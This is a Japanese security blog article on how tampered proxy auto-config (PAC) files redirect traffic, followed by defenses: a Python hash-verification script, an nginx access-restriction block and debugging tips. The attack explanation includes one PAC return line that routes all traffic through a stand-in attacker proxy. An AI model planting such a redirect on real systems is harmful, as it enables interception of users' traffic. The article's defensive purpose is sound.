【実務・中級編】 プロキシ自動設定(PAC)ファイルの実装脆弱性とマルウェアによる悪用の仕組み – サイバーセキュリティとプライバシー保護実践ガイド

境界防御の盲点:PACファイルという「見えない背後霊」をどう制御するか

現場でネットワークトラブルの調査をしていると、クライアントPCがなぜか意図しない外部サーバーへ通信を試みている場面に遭遇することがある。IDS/IPSのログを掘り下げると、原因はたいてい「プロキシ自動設定(PAC)ファイルの改ざん」だ。

「え、たかがブラウザのプロキシ設定でしょ?」と侮るなかれ。PACファイルは、OSやブラウザが通信を行うたびに実行されるJavaScriptだ。ここに悪意あるコードを仕込まれれば、全トラフィックが攻撃者の踏み台(C2サーバー)を通過するように仕向けられる。いわば、ネットワークの交通整理役を乗っ取られるようなものだ。

今回は、この「PACファイルの脆弱性」という盲点について、実務的な防衛策を深掘りしていく。

—

PACファイルが狙われる理由:通信フローの深層

PACファイルは、ブラウザがURLにアクセスする際、まず FindProxyForURL(url, host) 関数を呼び出し、戻り値としてプロキシの接続先を取得する仕組みだ。

通信シーケンスの脆弱点

1. 取得時: クライアントがDHCPやWPAD(Web Proxy Auto-Discovery)経由でPACファイルのURLを取得する。
2. 実行時: クライアントは定期的にこのURLからJSファイルを取得し、メモリ上で実行する。

もし、このPACファイルがHTTPSで保護されておらず、かつ検証も甘ければ、中間者攻撃(MitM)で容易に書き換えられる。攻撃者は return "PROXY evil-proxy.com:8080"; と返すだけで、組織内の全通信を傍受できるわけだ。

—

現場で取り組むべき「PACの整合性検証」

PACファイルを守るための鉄則は「信用しないこと」だ。以下の対策を現場の設計に組み込んでほしい。

1. HTTPではなくHTTPSで配信する

最も基本的なことだが、依然として内部LANでHTTP配信している現場は多い。TLSによる暗号化だけでなく、証明書の検証(Strict-Transport-Security)を徹底せよ。

2. PACファイルの整合性をコードで叩く

配信元を信頼するだけでなく、取得したPACファイルが改ざんされていないか、クライアント側(あるいは配信中継点)でチェックするロジックを組むべきだ。

例えば、PythonでPACファイルをフェッチし、ハッシュ値で整合性を確認するスクリプトの例を挙げる。

import hashlib
import requests

# 許可されたPACファイルの期待されるハッシュ値(SHA-256)
EXPECTED_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"

def verify_pac_file(url):
    try:
        # タイムアウトを厳格に設定し、悪意あるレスポンス遅延を防ぐ
        response = requests.get(url, timeout=5)
        response.raise_for_status()
        
        # 取得したファイルのハッシュを計算
        sha256 = hashlib.sha256(response.content).hexdigest()
        
        if sha256 == EXPECTED_HASH:
            print("整合性検証OK: PACファイルは安全です")
            return response.text
        else:
            raise Exception("警告: PACファイルのハッシュが一致しません!")
            
    except Exception as e:
        print(f"エラー: {e}")
        return None

# 実行
pac_content = verify_pac_file("https://proxy-server.internal/wpad.pac")

—

実務で役立つ「PAC配信の制限」Tips

配信設定一つでセキュリティは大きく変わる。エンジニアが確認すべきパラメータは以下の通りだ。

配信サーバー(Nginx等)のセキュリティヘッダー

PACファイルを配信するサーバーには、以下のHTTPヘッダーを付与することを強く推奨する。

# PACファイル配信場所の設定例
location /wpad.pac {
    # 外部からの直接アクセスを防止
    allow 192.168.1.0/24;
    deny all;

    # MIMEタイプを厳格に設定(JSの実行を強制)
    add_header Content-Type "application/x-ns-proxy-autoconfig";
    
    # ブラウザによるキャッシュを制御(改ざん検知のため短く設定)
    add_header Cache-Control "no-cache, no-store, must-revalidate";
    
    # 厳格なトランスポートセキュリティ
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
}

—

トラブルシューティング:デバッグの勘所

もしネットワークが不審な挙動を見せたら、まずはクライアントが「現在どのPACファイルを見ているか」を特定せよ。

1. curl で直接叩く:

# PACファイルの中身を直接取得して、悪意ある関数が含まれていないか目視確認
   curl -Iv https://proxy-server.internal/wpad.pac

2. ブラウザのデベロッパーツール:
Chrome等の場合、chrome://net-export/ でネットワークログをダンプし、ProxyConfig の適用状況を追うのが定石だ。

最後に:防御は「多層」であるべき

PACファイルへの攻撃は、境界防御の隙を突く非常に巧妙な手法だ。しかし、PACファイル単体で全てを防ぐ必要はない。

  • PACファイルの配信経路を制限する(IPホワイトリスト)
  • PACファイルの内容を定期的に自動検証する(ハッシュチェック)
  • そもそもWPADを無効化し、GPOやMDMでプロキシ設定を固定配布する

これらを組み合わせれば、攻撃者が入り込む余地は劇的に減る。ネットワークは生き物だ。システムを構築して終わりではなく、PACという「隠れた設定」が日々どう振る舞っているか、ログを通じて常に監視し続けてほしい。現場のエンジニア諸君、健闘を祈る。

コメント

タイトルとURLをコピーしました